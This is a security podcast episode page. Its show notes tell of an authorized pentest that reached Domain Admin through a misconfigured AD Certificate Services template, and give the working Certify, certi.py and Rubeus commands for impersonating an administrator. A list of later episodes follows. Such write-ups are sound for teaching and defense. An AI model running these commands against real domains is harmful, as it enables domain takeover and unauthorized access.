7MS #501: Tales of Pentest Pwnage - Part 31
7 Minute Security29 Joulu 2021

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Jaksot(689)

7MS #602: How to Succeed in Business Without Really Crying - Part 14

7MS #602: How to Succeed in Business Without Really Crying - Part 14

Today we're talkin' business! Specifically: How to (gently) say "no" to (some) client projects How to (politely) challenge end-of-year deadlines An idea I'm kicking around in the lab - where I might do away with UptimeRobot and Splashtop in favor of Tailscale and Uptime Kuma

15 Joulu 202344min

7MS #601: Breaking Up With Active Directory

7MS #601: Breaking Up With Active Directory

Today our pal Nate Schmitt (you may remember him from his excellent Dealing with Rejection: A DMARC Discussion Webinar) joins us to talk about breaking up with Active Directory. He covers: Why would you want to consider removing AD from your environment? What are common items to plan for? What steps should you take to efficiently plan a migration? What common challenges or considerations will you face?

11 Joulu 202327min

7MS #600: First Impressions of Using AI on Penetration Tests

7MS #600: First Impressions of Using AI on Penetration Tests

Hey friends, today I share my experience working with ChatGPT, Ollama.ai, PentestGPT and privateGPT to help me pentest Active Directory, as well as a machine called Pilgrimage from HackTheBox. Will AI replace pentesters as we know them today? In my humble opinion: not quite yet. Check out today's episode to hear more, and please join me on Wednesday, December 6 for my Webinar on this topic with Netwrix called Hack the Hackers: Exploring ChatGPT and PentestGPT in Penetration Testing!

1 Joulu 202322min

7MS #599: Baby's First Responsible Disclosure

7MS #599: Baby's First Responsible Disclosure

Today we talk about our first experience working through the responsible disclosure process after finding vulnerabilities in a security product. We cannot share a whole lot of details as of right now, but wanted to give you some insight into the testing/reporting process thus far, which includes the use of: BulletsPassView MITMsmtp mitmproxy

25 Marras 202338min

7MS #598: Hacking Billy Madison - Part 4

7MS #598: Hacking Billy Madison - Part 4

Today our good buddy Paul and I keep trying to hack the VulnHub machine based on the movie Billy Madison (see part 1 and 2 and 3). In today's final chapter, Paul and I: Find Eric's secret SSH back door Locate and decrypt a hidden file with Billy's homework Build wordlists with cewl Save Billy from the evil clutches of Eric Gordon!!!

17 Marras 202324min

7MS #597: Let's JAMBOREE (Java-Android-Magisk-Burp-Objection-Root-Emulator-Easy) with Robert McCurdy

7MS #597: Let's JAMBOREE (Java-Android-Magisk-Burp-Objection-Root-Emulator-Easy) with Robert McCurdy

Today we had a blast talking with Robert McCurdy about JAMBOREE (Java-Android-Magisk-Burp-Objection-Root-Emulator-Easy)! JAMBOREE allows you to quickly spin up a portable Git/Python/Java environment and much more! From a pentesting POV, you can whip up an Android pentesting environment, BloodHound/SharpHound combo, Burp Suite...the list goes on!

11 Marras 202332min

7MS #596: How to Succeed in Business Without Really Crying - Part 13

7MS #596: How to Succeed in Business Without Really Crying - Part 13

After about a year break (last edition of this series was in October, 2022, we're back with an updated episode of How to Succeed in Business Without Really Crying. We cover: Why we're not planning on selling the business any time soon Fast Google Dorks Scan Using ProtonVPN via command line Our pre first impressions of a pentesting SaaS tool you've almost definitely heard of

4 Marras 202331min

7MS #595: Choosing the Right XDR Strategy with Matt Warner of Blumira

7MS #595: Choosing the Right XDR Strategy with Matt Warner of Blumira

Today we're joined by Matt Warner of Blumira (remember him from episodes #551 and #529 and #507?) to talk about choosing the right XDR strategy! There's a lot to unpack here. Are EDR, MDR and XDR related? Can you get them all from one vendor - and should you? Do you run them on-prem, in the cloud, or both? Join us as Matt answers these questions and more!

31 Loka 20231h 3min

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